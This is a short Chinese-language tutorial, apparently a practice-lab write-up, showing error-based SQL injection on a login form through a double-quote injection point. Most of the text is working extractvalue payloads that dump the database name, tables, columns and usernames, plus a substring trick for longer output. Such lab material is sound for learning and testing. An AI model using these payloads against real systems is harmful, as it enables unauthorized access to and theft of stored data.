报错注入:

判断双引号注入:

当输入用户名 :admin” 和密码:123 时,页面报错,发现是双引号注入
双引号注入.PNG

获取数据库

使用语句:admin" and extractvalue(1,concat(0x7e,(select database()),0x7e)) # 获得数据库为 security
数据库.PNG

获取数据库表:

使用语句:admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) # 获取到表
表.PNG

获取字段:

使用语句:admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e)) # 获取到字段
字段.PNG

获取字段值

使用语句:admin" and extractvalue(1,concat(0x7e,(select group_concat(username)from users),0x7e)) #获取到一部分的字段值
用户名.PNG
因为 extractvalue 以及 updatexml 报错函数的字段值最高最有 32 ,所以这里使用 substring()去截取位数的字段值,语句:admin" and extractvalue(1,concat(0x7e,substring((select group_concat(username)from users),10,20),0x7e)) # 每次位数为10,逐渐查询
用户名20到30.PNG用户名30到40.PNG用户名40到50.PNG用户名前10.PNG

补充知识:

reverse 倒序查询:

因为这里的字段值太过长,故不能使用倒序查询

regexp 函数:

也可以使用 regexp 函数把字段值全爆出来,因为这里不是像拿 Flag ,字段值比较杂乱,所以不使用

语句:admin" and extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#